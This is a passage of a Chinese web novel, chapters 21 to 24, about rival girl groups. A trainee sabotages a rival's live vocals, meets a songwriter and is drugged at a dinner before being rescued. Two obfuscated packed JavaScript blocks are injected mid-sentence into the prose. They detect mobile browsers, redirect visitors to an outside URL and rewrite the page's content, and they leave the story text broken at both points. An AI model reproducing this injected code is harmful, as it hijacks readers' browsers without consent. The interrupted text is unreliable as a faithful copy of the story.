楚幺幺抬起头,望向那张再熟悉不过的脸,以前还会像个妹妹一样拉着她的手撒娇,现在画着烟熏妆的样子她都快不认识了,又或者,其实这才是她本来的样子。 “问你话呢?哑巴了?”宋雨桐见她没反应,厉声催促道。 “楚幺幺。” 路雅宁又睨了一眼边上的姜书语,一言未发继续向前走。身后紧跟着宋雨桐,路过楚幺幺时还瞪了她一眼,最后面的曲潇潇一直低着头,快步向前跟上。 姜书语握着楚幺幺的手,望向离去的Fire,问:“她干嘛问你的名字?” “不知道。”不管是因为什么,她会让她们记住她的新名字。 看样子,是Fire的压轴舞台要开始了。 姜书语扯扯她,“快回座位理东西,现在去医院,不知道阿柠醒了没。” “医生说麻药要明天才能醒。” “啊~这么久啊~”姜书语懊恼道,忽然发觉身后的楚幺幺拉不动了,转头才看看她正望着Fire离去的方向发呆,“怎么了?” 楚幺幺回头朝她一笑,“我去上个洗手间,你先理东西。” 她说完拍拍姜书语的肩,留下一个微笑,向走道另一侧走去。 姜书语在后头扯着嗓子喊:“幺幺,洗手间在这边!” 可楚幺幺跑得飞快,头也不回,中途朝她挥了挥手,又往前指了指,似乎在说“前面也有洗手间”。 姜书语摸摸后脑勺,有些不解:那边的洗手间得绕到后台,可远了。 …… 舞台上,钻石形的升降台刺破了干冰形成的雾气,路雅宁的长靴正卡在背景音乐的第三拍重音上。 十五盏追光灯将她的红色裙子裁成燃烧的火焰,耳返里导播的倒计时与心跳声重叠——3、2、1…… 干冰还未散尽,现场的观众连人的脸都还未看清,欢呼声已经像海浪一样涌来。 “国内第一女团!” “是《糖霜子弹》!!我最喜欢的歌!” “Fire!Fire!Fire!” 机械齿轮咬合的金属音效震得地板发颤,路雅宁踩着长靴率先步入观众视野。 “玻璃唇釉折射出枪械编号(Bling-Bling) 蕾丝袖口藏着微型警告信号(嘀-嗒) 糖果城堡在瞄准镜里倾倒 我裙摆绽开硝烟味的笑” 这一段,原先是程漾的开场Verse,现在却有了新的主人。 “枪膛旋转三十度。”宋雨桐的耳语混在预录和声中,三个人的锁骨同时向□□斜四十五度。 曲潇潇的黑色皮质抹胸擦过宋雨桐闪着亮片的短裙,像子弹滑入弹道般流畅,观众席爆发的更为震撼的尖叫声,她的rap段落带着硝烟味劈开副歌:“当钻石切口划破天鹅绒谎言失效的毒苹果在齿尖转个圈水晶鞋跟踢碎十二点禁令公主皇冠里藏着弹道测定——“ 路雅宁趁机调整呼吸,瞥见宋雨桐正摇晃着脑袋调整耳麦,她的亮片裙在顶光下折射出细碎的光。 三个人在舞台的中央齐步跳舞,动作整齐划一,俨然默契十足。 “不愧是Fire,好整齐,对我的眼睛很友好!” “这就是第一女团的含金量!” …… 后台的帷幕后,楚幺幺不知何时已经站在那里,她静静看着台上的表演,就好像在看一场知名的话剧。 这首歌,是她学会编曲后作的第一首歌,亲手操刀的第一版歌词写得并不好,而后又改了七八版,才有了现在的雏形。 当初,公司以它是程漾的首支创作EP为噱头,一经发行就售空了,而后更是加量加卖了好几波,反响空前。 后来,这歌被贡献给了团队。 她实在太熟悉这首歌了,熟悉它每一个节奏,每一个音符,包括她们为了让这首歌以团队形式呈现所做的每一个“努力”。 她的手靠在音响上,手指碰到了绿色的那根线。 “3、2、1……” 第二段主歌进拍的刹那,她拔断了手上那根音响线。 台上,宋雨桐正踮脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236863|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去够那个标志性的G5高音,导播间突然传来玻璃碎裂的脆响。 她的瞳孔猛地收缩——耳返里的垫音消失了,真实声带在混响器失效的瞬间暴露无遗,未闭合的鼻腔共鸣让“穿透云层”变成了垂死天鹅的哀鸣。 “刚刚是什么?” “是破音了吗?宋雨桐破音了?” “不是破音,是原声吧?” “好难听啊,天使歌姬的宋雨桐是这个原声?” 观众席中,不知是哪家的粉丝,看热闹不嫌事儿大,开始议论纷纷。 后台的导播疯狂叫喊着:“切全景!切全景!” 路雅宁抿着唇,指尖在麦克风上刮出刺耳杂音,她看见宋雨桐的右手正揪着裙摆,本该衔接的交叉步迟了半拍。 左侧的曲潇潇强行插入即兴rap试图补救,不小心勾倒的麦架却撞上了背后的LED屏。 电流爆裂的蓝光中,三人的影子在舞台上扭曲成滑稽的皮影戏。 路雅宁的高音和曲潇潇的低音在失去修音的轨道上互相撕扯,宋雨桐彻底哑掉的声带只能发出气若游丝的鸭鸣。 当最后一块糖果色灯箱熄灭时,她们听见了周遭此起彼伏的快门声。 “别拍了,别拍了!”工作人员挡在前方朝着媒体记者喊道。 路雅宁抬手挡住脸,回身瞪向宋雨桐,后者正张皇无措地站在原地,被照相机的镜头闪恍了眼。 这时,从舞台后面冲上来十几个保安,兵分两路,一路挡在舞台最前面形成一堵人墙,一路护送着Fire狼狈地逃下了舞台。 媒体记者的闪光灯还在闪,楚幺幺的嘴角渐渐爬上了笑意。 这首歌当初切换成团歌时,宋雨桐非要唱这段主副歌,可她的音域根本唱不了G5,无奈之下,编曲老师只好将宋雨桐走音的那句高音修正,做进了垫音里。 主副歌的垫音和伴奏分两个声道,混在真唱中,几乎可以以假乱真。 临近闭幕闹了这么一出舞台事故,所有人都在维持现场秩序,丝毫没有注意到楚幺幺这边的动静。 楚幺幺站在阴影里,手里还握着那根垫音线,她的目光凝望着台前的混乱,嘴角露出了嘲讽的笑。 她会向所有人证明,没有程漾的Fire,根本什么也不是。 手中的线被扔到一旁,楚幺幺拍拍手,收工准备走人。 这时,身后传来了别人的鼓掌声。 22. 死傲娇 男人站在阴影里,修长的身形在微弱光线中勾勒出轮廓。 他不急不缓地迈着步子靠近,直到舞台的灯光打在他俊美的脸上,在高挺的鼻梁上投下阴影。 “裴宴林怎么没说,寰宇现在改制成幼儿园了?”顾颜榕棱角分明的脸上冷淡如冰川。 “……”楚幺幺张了张嘴,却把后面的几个字咽进了喉咙,她立马换上了一副谄媚的假笑,“顾老师,怎么有空到后台来?” 她发誓,叫顾颜榕“老师”真是她这辈子最违心的事。 顾颜榕将脚下将那根垫音线踢到了一旁,根本没有理会她的话,自行另起了一个话题,“你是程漾的粉丝?” 楚幺幺点了点头。 顾颜榕冷笑了一声,“难怪。发音方式和阿漾一模一样,G5发音毫无技巧,只会用嗓子顶,再多试几次,你的嗓子就可以退休了。” 讲话还是这么讨人厌。 楚幺幺憋足了气,握着拳头强忍着揍他的冲动,“这首歌要的是披荆斩棘的爆发力,强顶的颗粒感比技巧性过音更适配,顾老师不会连这点都不懂吧?” 从小到大,他们因为乐理理解不同已经吵过无数次,每次都是阿宴从中调和。 上回,顾颜榕远在美国,竟然因为她在星光大典上唱到G5音强顶,打越洋电话和她吵了一小时,气得她上台领奖时都没有笑容,被娱乐记者写摆臭脸。 想起来就来气。 顾颜榕看着她,眼睛突然一眯,“呵,还是个铁粉。” 谁来为她发声? 她头七过去才多久,他还在这儿蛐蛐她发音不对,有这种发小,真是她的福气! 楚幺幺不想理他,索性装都不装了,“顾老师要是想举报我拔垫音线,就请自便吧。” “我对你们小朋友打架没有兴趣。”顾颜榕的语气还是淡淡的。 “那再见。” 楚幺幺转身要走,却被顾颜榕拉住了,“你叫什么名字?” 楚幺幺眼皮上的珠光眼影散发着灵动而细密的闪光,“你都知道我是寰宇幼儿园的了,却不知道我的名字?” 顾颜榕最不喜欢多管闲事了,出道多年,娱乐圈一半的人都记不住谁是谁,她才不信他到后台来,只是为了埋汰她这个十八线小艺人。 顾颜榕被堵了话,保持着扑克脸沉默了片刻。他刚刚确实在桔梗少女表演时,问了身旁的经纪人这是谁——楚幺幺,寰宇娱乐今年签的新人。 “虽然发音方式有问题,但是你的嗓子还不错。”刚刚她在台上表演,他甚至以为听到了程漾在唱歌,抬头看到这张陌生的脸,竟然有些恍惚了。 他的新歌需要一位能唱到G5的女歌手。 楚幺幺的眼里瞬间亮起了光,她像一只在丛林中穿梭的野豹,敏锐地捕捉到了顾颜榕语气里暗藏的需求,“是团里的姐姐教得好,可惜她今天出了点意外,没有来表演。她叫沈清柠,可塑性很强,可以丝滑过G6,如果有机会,能不能和顾大顶流一起合作?” 楚幺幺一脸期许地望着顾颜榕。 顾颜榕看着她光速变脸的模样,忍不住继续埋汰:“寰宇娱乐现在这么穷,需要艺人自己拉业务了?” 楚幺幺“嘿嘿”一笑,“我们这种小糊团是这样的。”能屈能伸,是她重生后学会的第一课。 能过G6的嗓子,确实是个不小的诱惑。 顾颜榕最后看了她一眼,转过了身,“清唱过G6的音频,发我工作室邮箱。” 楚幺幺看着他远去的背影,嘴角渐渐爬上了笑意,明明就是来招兵买马的,还一副高高在上的模样。 “死傲娇。” - 第二天,医院病房。 姜书语抱着枕头坐在病床前,眼泪鼻涕爬了一脸,哽咽着声音说,“你不知道我有多怕……我和幺幺重新分词只用了十分钟,根本来不及练习,上台的时候我的腿都在抖……我怕死了……啊啊啊……好不容易有这个上台的机会……要是搞砸了,我们就再也爬不起来了……呜呜呜……” 沈清柠的病床靠背被摇起来一半,她半躺着,嘴唇还是惨白的,脸上挤出一个笑,宽慰道:“你们做得很好,醒来我就看到新闻推送了,表演很成功,网友还说桔梗少女是女团新星呢……真好。” 昨晚的星光大典的热搜爬榜飞快,这其中,桔梗少女和Fire的帖子占了一大半。 #桔梗少女舞台# #姜书语美die# #Fire# #宋雨桐破音# 【桔梗少女舞台太燃了吧!这是今年我看到最好的表演!】 【有人买股这个女团吗?我要买!】 【姜书语什么时候长这样了?哇,姐姐踩我!】 【改了个发型瞬间变御姐,前面那个锅盖头太封印颜值了!】 【姜书语!这是姜书语?太美了吧!】 【太御了,我口水流下来了】 …… 【楚幺幺高音太稳了,稳如CD!】 【她怎么瘦了这么多?我记得之前很胖的啊?】 …… 【没人聊Fire昨天的表演吗?宋雨桐那个破音真是笑得我都要发芽了!】 【哈哈哈真乐skr人了!走音走得爹妈不认,还天使吻过的嗓子,我看是地狱天使!】 …… 沈清柠握着手机的手垂在被褥上,手机上,网友的留言还在跳动,她垂下了眼眸,长长的睫毛像蝴蝶落下翅膀,“……本来我也可以一起登台的。” 她们实在等得太久了,三年了,没有一个完整的舞台,这次是桔梗少女第一次能够站在舞台中央,可她却出了这样的意外。明明已经那么努力了,连Eric老师都说她进步非常大。 如果她昨天没有回村里去就好了,如果她没有为了省钱走路就好了……她那时候太开心,回去和爸妈一起吃晚饭,甚至开好了电视让他们等着看她的直播表演。 可惜,没有如果了…… 沈清柠想到这里,眼泪控制不住溢上来,在眼眶里打着圈圈,直到有一滴泪兜不住滑了下来。 “清柠……”姜书语抱着枕头,一动不动的看着她,她只顾着描述昨晚自己有多害怕,却忘了躺在病床上的清柠此刻有多难过。 她真该死啊! 沈清柠纤长的手指擦过脸颊上的泪,又重新挤出一个笑,“我为你们高兴,真的。” 楚幺幺此时正站在病床边,原本打算削个苹果,看着这俩人哭成泪人的模样,瞬间收回了手,从桌上抽了两张纸巾递过去。 姜书语接过纸巾,狠狠擤了个鼻涕。对比之下,沈清柠就斯文多了,细细地擦去眼角的泪。 “清柠,”楚幺幺喊她,俯身轻轻拍了拍沈清柠的手背,“好好养伤,等你好了,有一个大饼等着你。” “大饼?”沈清柠疑惑。 “嗯,一个朋友介绍的工作,但得等你好一点,才能把你唱歌的母带给他听。”楚幺幺解释说。 沈清柠不假思索道:“可是,你有什么我们不认识的朋友吗?” 三年来她们一直生活在一起,每个人口袋里有多少钱互相都知道,更别说朋友圈了。 …… 楚幺幺顿时语塞,只好先发制人,佯装生气地倒打一耙,“怎么?不相信我?” 她和阿宴一起时就经常用这招,通常 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她说着重重在楚幺幺的胳膊上捶了一下。 “咳,”楚幺幺轻咳了一声,转而望向沈清柠,“所以啊,大难不死,必有后福。清柠,你的福气在后头。” 沈清柠朝她笑着点了点头,并没有继续前面的话题,“嗯。是什么饼,我可以先知道一下吗?” “还不行。”楚幺幺说着,真的像个大姐姐一样摸了摸她的头,语气温柔,“还没尘埃落定,怕你失望。” 如果不是因为她刚刚看起来太落寞,她本来是不准备讲这个事的,“不过,养伤期间,你倒是可以先畅想一下,想和哪位音乐人合作,保持心情舒畅。” 姜书语接过了话茬,“阿柠最想合作的就是阿漾姐姐了,可惜没机会了。” 她想了想,又立马兴奋起来,“哦,我知道我知道!阿柠喜欢顾颜榕!大顶流!” 病床上的沈清柠听到姜书语的话,苍白的脸上瞬间爬上了红晕,气色竟都好了许多,“阿语,别乱说。” “没有乱说啊,你就是喜欢他,还偷偷藏他的海报呢!人家长得帅,又有才华,谁不喜欢啊!”姜书语越讲越激动,双手相合放在胸前,“可惜人家是朵高岭之花,看不上我们这些蝼蚁哦~” 她惋惜地颤抖着尾音。 顾颜榕,娱乐圈第一唱作人。十九岁那年凭借着一首《100Days》一炮而红,靠着独特的嗓音和顶尖的唱作才华,以及那张俘获众生的脸,还没毕业就成了娱乐圈最大的顶流,粉丝基础大得惊人。一毕业,国内首屈一指的唱片公司——石英唱片就花了令人咋舌的巨资签下了他。 说实在的,除了爱装了点,他确实没啥毛病。 这猜得也太准了。 “阿语,你别胡说!”沈清柠被姜书语戳中了心思,瞬间羞红了脸,小姑娘家的心思全写在脸上了。 “我哪有胡说!你抽屉里还藏了好多他的杂志呢,我上回打扫卫生看到了!” “哎呀~别说了……”沈清柠急得脸一阵红一阵白。 楚幺幺有些无奈,挠了挠头,低头寻思:怎么想,清柠也不是顾颜榕会喜欢的类型。 可真要问她顾颜榕喜欢什么类型,她好像又答不上来。 顾颜榕从小性格就古怪,也不爱说话,但他的沉默和阿宴不同。阿宴对待别人只是冷淡,但顾颜榕对待别人……可以说,就是平等地讨厌所有人。后来他和阿宴关系这么好,倒是出乎她的意料。 这可能,就是两个“哑巴”之间的心心相惜吧。 楚幺幺思前想后,终于得出一个结论:顾颜榕可能不喜欢女人。 23. 上当了 “听说了吗?雨桐姐群星之夜破音了!” “那视频我看了,太灾难了!” “Fire可是第一女团,Vocal就这水平?” “之前程漾姐在的时候,大半的solo都是她负责的,宋雨桐的唯粉还说她抢歌词,没想到……啧啧啧……正主唱歌快把房顶掀了!” “我听说有个音综本来要找宋雨桐,紧急撤回了邀约。” “啊!?那也太丢人了吧……” “是我我就拿块豆腐撞死!” …… 寰宇娱乐的茶水间里,几个小年轻正在热火朝天地讨论着最近的八卦。 楚幺幺坐在实习工位上,正盯着邮箱界面出神,两天前发到顾颜榕工作室邮箱的邮件,到现在还没有回复。 怪她那天忘了和他说,清柠刚做完手术,要修养一阵才能给他录音频。发出去的这封邮件也不过是陈述事实,摆脱对方宽限一段时间,连着几日过去了,一点消息也没有。 耽搁太久,他不会把这事给忘了吧? 楚幺幺急躁地鼠标漫无目的地乱点了几下,发出“哒哒哒”的响声。 一旁的实习生小夏看出了她的急躁,便说:“幺幺,要不你先回去吧,邮箱我帮你盯着。” 宿舍里没有电脑,楚幺幺只好来公司借实习生的电脑来发邮箱,这几天她每天都来查消息,在工位上一坐就是一小时,多少有点耽误人家工作。 “不好意思啊。” “嗐,没事儿。”小夏摆摆手,不以为意。 这时,门口来了人。 宋雨桐披着西装外套进来了,身下是一条白色纱裙,助理在她身后跟随,手里提着大包小包。 小夏眼明手快,捏着喉结清了清嗓子,“咳咳咳!” 边上茶水间的议论声戛然而止。 一个扎着马尾的女孩优先探出了脑袋,看到宋雨桐喊了一声“雨桐姐”,然后端着咖啡飞快地溜走了。 紧跟着,一个接一个的实习生仓皇溜了出来。 宋雨桐视线一转,看到了工位上的楚幺幺,两人隔空对望了一眼,她不屑地转头往里走去。 楚幺幺收回视线,望向小夏,“那麻烦你帮我盯一下。” “放心吧。顾颜榕是大顶流,工作室邮箱里信息多,回消息慢很正常。不过,这单要是成了,算我一份力哦~”小夏朝她眨了眨眼。 楚幺幺“噗嗤”一下就笑了,“那一定的,给你包大红包!” 离开寰宇娱乐时,天已经快黑了。 楚幺幺绕路去买了姜书语最爱吃的肉松小贝,刚从店铺里出来,手机就收到了小夏的消息:“幺幺,今晚顾颜榕会在满盛豪庭201包厢吃饭,你要不要去堵堵看?” “哪里来的消息?” “刚刚在茶水间听到宋雨桐的助理讲的。” “好的,谢谢你。” 楚幺幺回复完,转身便在路边拦车。 寰宇总部的地下车库里,刚刚开出一辆迈巴赫,正停在路边等红灯。 “那不是楚小姐吗?”林岩疑惑道。 车后座的人从平板屏幕上移开视线,望向窗外。 阳光下,楚幺幺扎着蓬松丸子头,正高高扬起纤细的手臂打车,肩上的帆布包随着动作随意地晃荡,几缕俏皮的碎发被微风拂过,在她光洁的颈边轻舞。 多日不见,她怎么好像又瘦了些。 “裴总,要不要去打声招呼?” 眼看着远处那个身影上了一辆出租车,裴宴林垂下眉眼,视线又落向了财务报表,车窗缓缓关上。 “不用。” …… 满盛豪庭1号包厢内,宋雨桐向高脚杯里斟上一杯红酒:“周总,听说您爱喝红酒,这是我特意给您带的罗曼尼康蒂,您尝尝。” 周卫勇靠在椅背上,抬着那张富得流油的脸,目不转睛地盯着宋雨桐,一只手早已经迫不及待地抚上宋雨桐正托着红酒杯的手,“还是宋小姐善解人意啊。” 宋雨桐脸上堆着笑,从周卫勇的手里抽出自己的手,将酒杯递了上去,“周总别急,我们今天来是谈正事儿的,待会儿我还有一份礼物要送给您。” 她说完,朝周卫勇眨了下眼。 周卫勇接过红酒杯,在手里晃了晃,“哦?还有礼物?宋小姐,你今天临时约我,我为了见你可是推掉了两个重要会议,你可不能让人失望啊。” “那哪能。”宋雨桐一手搭在周卫勇的肩上,轻轻抚过,她绕到他的身后,双手搭在他的肩头,低头在他耳边说道,“包您满意的。” 周卫勇的嘴角瞬间勾起了满意的笑,伸手想去摸宋雨桐的手,却被后者一个闪身躲开了。 宋雨桐向前走了几步,到自己的位子上坐下,托着腮一脸含情地看着他,“周总,我想请顾颜榕为Fire写首歌,这事儿不难吧?” 以往仗着程漾的关系,顾颜榕没少给Fire写歌,大多数时候连创作费用都不收。可今时不同往日,没有了程漾,顾颜榕连消息都不回了。最近Fire在风口浪尖,如果能够让顾颜榕为Fire写歌,就表示他站了边,娱乐圈里那群见风使舵的人自然不敢乱说话。 也是没有办法,请不来顾颜榕,只好请周卫勇试一试了。 “顾颜榕?”周卫勇“哼”了一声,显然平日里对顾颜榕积攒了不少怨念,“那小子,仗着自己有点人气整日为所欲为,连公司的高层都管不住他。” “那是其他人管不住,周总是石英唱片的副总,一人之下万人之上,难道也管不住?”宋雨桐笑语盈盈地望着他。 石英唱片的总裁是周卫勇的哥哥周卫国。周卫国从父亲手中接过石英唱片,将一家临近倒闭的复古唱片公司成功转型成现在的电子唱片公司,还发展出了一系列的娱乐产业,成为国内第一的唱片公司。而周卫勇,虽然是名义上的副总裁,事实上却是个游手好闲的主儿,而且还是个老色胚,隔三岔五就和圈内的嫩模传绯闻。 周卫勇摸上宋雨桐的手,没一会儿,已经两只手并用地扣住她两只手,上下揉搓,“我帮了你这忙,我有什么好处?宋小姐的手这么滑,不知道别的地方是不是也这么滑?” 他的脸上两坨肥肉鼓成包,眼角因为笑意挤出两朵花,嘴裂开就像猪准备吃糠。 “周总别急,您的菜马上就到了。”宋雨桐微微一个侧头,长长的头发像瀑布一样挂下来。 这时,包厢的门突然被人推开了,门外,服务生正恪尽职守地阻拦来人,“小姐,您不能进去。” 楚幺幺推开了门,却站在门口,迟迟没有动。这包厢里,并没有她要找的人。 下一秒,她就看到了宋雨桐,以及她身边的那位——声名狼藉的色胚副总裁。 ……上当了。 “不好意思,走错了。”楚幺幺挤出一个笑,转身就要走。 下一秒,宋雨桐已经先一步拉住了她,搂住她的肩故作亲昵地说,“来都来着,陪周总喝杯酒。周总,您还不认识吧,这是我们寰宇新签的艺人,楚幺幺,今年才十八岁。” 她故意着重强调了“十八”,周卫勇这个老色胚,平常最爱招惹的就是年轻的小姑娘,越年轻他越上头。 楚幺幺瞪了宋雨桐一眼,像走却又挣脱不开。 “好好好。”周卫勇乐得连连点头,冲楚幺幺招招手道,“楚小姐,来,坐到我这儿来。” “周总可是石英唱片的副总,好好招待。”宋雨桐拉着楚幺幺在周卫勇边上坐下了。 楚幺幺看着周卫勇那张肥头大耳的脸,恶心地侧过了头。 刚刚应该先打听一下顾颜榕到底在不在,这么着急冲进来,确实欠考量。她为自己的愚蠢深深叹了一口气。 石英唱片的副总裁,虽然是个虚职,可弄死她这个十八线的小艺人,还是易如反掌。 高脚杯里红酒落下,宋雨桐两指捏着高脚杯底座往前一推,“乖,敬周总一杯。” 楚幺幺骑虎难下,捏着杯柱强扯出一个笑,转头对着周卫勇抬杯祝贺:“周总,听说您刚得了个小儿子,恭喜恭喜。” 周卫勇有一个与原配所生的二十八岁的大儿子,上个月,他的其中一个绯闻女友悄悄生下了小儿子,还带着襁褓中的儿子找上了门。原配花了九个亿才解决了这件事,现在小儿子养在原配身边,亲妈拿着支票不知道在哪里快活呢。 周卫勇举杯和她一碰,“我也是没想到,我一把年纪,没想到还老当益壮啊!” 说完,他一饮而尽,言语中尽是对自己的赞许。 恶心。 不以为耻,反以为荣,真是垃圾! 楚幺幺强忍着自己的厌恶,假笑着喝了一口。 周卫勇见状,面露不满,敲着自己的杯沿说:“楚小姐,我这都喝完了,你就喝这一口,不够意思吧?” 楚幺幺望向杯子,里面还有三分之一的酒。她在娱乐圈摸爬滚打这么多年,酒量向来很好,别说是三分之一,就算是来上两瓶红酒,她也不在话下。 楚幺幺举杯一饮而尽。 “这就对了。”周卫勇想要去摸楚幺幺的手,楚幺幺一个抽手躲开了,刚想站起来,却被宋雨桐压下了。 “来,再喝一杯。” 宋雨桐笑意盎然,往楚幺幺的酒杯里又倒了一杯。 “雨桐姐怎么不喝?”楚幺幺握住了宋雨桐手中的酒,反手夺过,往宋雨桐的杯子里加上了酒。 周卫勇搓着手,色眯眯地盯着眼前的两人,说:“对,一起喝,一起喝。” 又一杯酒下肚。 这屋子里乌烟瘴气的,她真是一分钟也待不下去,楚幺幺抚着肚子,装作难受地说:“周总,我这晚饭好像吃坏了,我得上个洗手间,先失陪了。” 楚幺幺刚想起身逃,可宋雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263821|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桐哪里肯给她这个机会,“慢着,这才两杯酒,就想走啊?” “雨桐姐,这不是还有您陪着吗?我可没有你会伺候人。”楚幺幺笑里藏针地看着宋雨桐。 宋雨桐这次竟意外地没有恼怒,只是另开了一瓶红酒,说:“今天,你什么时候把这瓶红酒喝完,什么时候就放你走。” 楚幺幺望着宋雨桐手里刚开启的红酒,眼睛一眯,“说话算数?” “当然。” 楚幺幺接过酒瓶站起来,瓶口直接对嘴就往里灌酒,“咕噜咕噜”几大口下去,没一会儿,红酒瓶就见了底,胃里泛起一个嗝,她强压着给咽了下去,“这样可以了吧?” 酒瓶杯口朝下,只滴下来几滴红酒液。 “好!楚小姐好酒量!”周卫勇在一旁鼓起掌来,“巾帼不让须眉!” 楚幺幺转头,对着身边这头“猪”露出了一个假笑,然后又转向另一头朝宋雨桐递了一个眼神,转身要走时却又被拉住了,“慢着。” 楚幺幺一个锋利的眼神如飞刀般闪过去,以前怎么没有发现,她这个表妹这么惹人烦。 “楚小姐,吃饭是为了交流感情,又不是拼酒,喝这么急干什么?”宋雨桐还是没有要放她走的意思。 “雨桐姐现在是说话不算话?”楚幺幺转过头,摆出一副绿茶模样对周卫勇又说,“赵哥~你看看雨桐姐,我就是想上个洗手间,非不让我走,不知道的,还以为是她不想陪您喝呢。” 周卫勇搓着手,被这一声“赵哥”钓成了翘嘴,“是是是,宋小姐,这就是你的不对了,就让楚小姐先去洗手间,她待会儿回来再接着喝,你总不会是不想喝吧?” “怎么会呢?” 楚幺幺看看宋雨桐,眼神朝她抓着她的手上示意了一下,宋雨桐才心不甘情不愿地放开了手。 楚幺幺起身,朝宋雨桐挥了挥手,转身向门外走去,手刚扶上门把手,一股晕眩突然冲上了头,她踉跄了一下,扶住了门把勉强站稳。 宋雨桐一个大步上前拉住了楚幺幺,“幺幺,你好像不对劲啊,让我陪你去吧。” 楚幺幺甩开她的手,看着宋雨桐的眼睛里画面开始模糊,她甩了甩头,强行清醒,“不用。” “怎么不用,你脸色都不对劲。”宋雨桐朝周卫勇使了个眼色,“周总,您来帮帮忙啊。” 周卫勇走上前来,看到了楚幺幺迷离的神色,“她这是……” “幺幺酒喝多了,有点晕。周总,我不是说过了吗?您的菜马上就到了。”宋雨桐笑得更灿烂了。 “哦哦~~”周卫勇心灵神会,抓着楚幺幺的手将她往怀里拉,“小美人儿,到我这儿来。” “走开。”楚幺幺一扬手,一巴掌挥在周卫勇的脸上。 “你,你敢打我?”周卫勇捂着自己的脸,眼睛瞪得溜圆,挥手就要往楚幺幺的脸上挥去。 楚幺幺往前用力一推,身体因为没站稳整个人向后仰去,大门被她的体重顶开了一道缝,她像一个在悬崖边跌落的人,直直向后摔去。 下一秒,大门被人拉开了,楚幺幺来不及反应,脚下一软就要跌倒在地,腰间就被人抱住了。 来人很高,比她高了大半个头。 “一来就往别人怀里钻,楚小姐好一个待客之道。”裴宴林那张棱角分明的脸上带着不怒自威的气场,哪怕现在看得不太清晰,楚幺幺还是第一秒就认出他的声音了。 “宴……阿宴哥哥,你怎么来了?”宋雨桐的声音带着些许惊慌。 周卫勇也认出了裴宴林,“裴总,您今天是……一起来喝酒的?” 裴宴林没有理会,他看着怀里的楚幺幺,脸色潮红,整个人软得像没有骨头,眉头一瞬间皱紧了,“她怎么了?” 凛冽的眼神望向了宋雨桐。 宋雨桐被吓了一跳,连连摇头,“没,没什么,就是喝了点酒。” 楚幺幺像一只八爪鱼扒拉在裴宴林身上,靠在他的肩上低声轻喃,“阿宴……带我走,阿宴……” 裴宴林的眉头皱得更紧了,他拦腰将楚幺幺抱起,看向周卫勇冷冷落下一句:“周总,不好意思,人我带走了。” 周卫勇识趣地没有阻拦,“您忙,您忙。” “阿宴哥哥!” 身后的宋雨桐在喊,裴宴林没有理会,抱着人一路走向了门口的那辆迈巴赫。 “阿宴……”楚幺幺闭着眼,嘴里还在含糊其辞。 林岩颇具眼力劲儿地说:“楚小姐和程小姐一样,喜欢叫您‘阿宴’。” 车厢里,气氛一下子降到了冰点。 刚刚,他竟然没有意识到,她叫了阿漾经常叫他的名字。 感觉到了裴宴林的低气压,林岩猛然意识到自己说错了话,千不该万不该,就是不该提程漾,那是他的逆鳞,赶紧转移话题:“裴……裴总,我们现在去哪儿?” “市一医。” 24. 阿宴欺负我 市一医主任办公室内,赵廷正给楚幺幺做检查,眼神涣散,眼白有些发红,心率加快。 赵廷扯下听诊器,双手揣进白大褂的衣兜里,“应该是LSD。” “什么东西?” “致幻剂。最近市面上流行的一种,无色无味,吃了就和她的状态一样,先是全身发软,眼神涣散,过一会儿,就会产生幻觉,看到自己最想看到的东西。”赵廷眉头一皱,“啧”了一声,又说,“这小姑娘,怎么三天两头被人暗算。” “你认识她?”裴宴林又问。 “之前我去综艺里给香蕉娱乐的公主当医陪,她是公主的好朋友,那次就被人用冰刀割伤了。诶?那节目不就在你家的冰场吗?” 裴宴林还是一贯的冷漠脸,“不记得了。” “啧啧啧,她不是寰宇的员工吗?你这老板当得也太不敬业了。” “还有空去综艺里当医陪,你的老板知道你这么敬业吗?” 赵廷被顶了个哽咽,“陈总对我有知遇之恩。” 陈总当年资助他去哈佛医学院读完了硕博,只是帮这点小忙,难道还能不帮吗? “有救吗?” “打一针就好了。”赵廷俯下身,撑在病床边凑近又看了楚幺幺一眼,看样子还在第一阶段。 这时,楚幺幺迷迷糊糊地睁开了眼,一伸手就抓住了他的白大褂,然后便像只八爪鱼抱住了赵医生:“哥哥……我错了。” 赵廷瞬间瞳孔放大,转头望向了裴宴林,“情趣?” 裴宴林上前一步,伸手按着楚幺幺的头将她按回了病床,然后一个抬腿,在赵廷的屁股上就要来上一脚。 好在赵廷躲得快,一个侧身闪去了门口,“我去拿针。” 赵廷刚离开视线几秒,又闪身回来嘱咐道:“应该是到第二阶段了,她喊什么,你都答应就是了。” 说完就又离开了。 裴宴林站在病床边,一言不发。 楚幺幺的眼睛睁睁又合合,也不知是醒了还是没醒,嘴里嘟囔个不停,“爸爸……妈妈……哥哥……阿宴……” 又开始了。 她到底是不是在叫他的名字? 裴宴林视线一转,正对上楚幺幺迷迷糊糊的眼,她好像是在看他。 “嗯。”鬼使神差的,他应了一声。 楚幺幺的嘴角露出了微笑,终于停下了叫唤。 等赵廷带着药剂回来,楚幺幺已经睡着了,一针下去,她疼得皱紧了眉,嘴里“咿咿呀呀“不知道在说些什么。 “好了。针打完她会渴睡,睡一觉,明天醒来就没事了。”赵廷将针筒丢入了一旁的医疗器材垃圾桶。 “对了。”赵廷把白大褂兜里的一小瓶药丢给裴宴林,“我让院长把你的药换了,这个副作用小。” 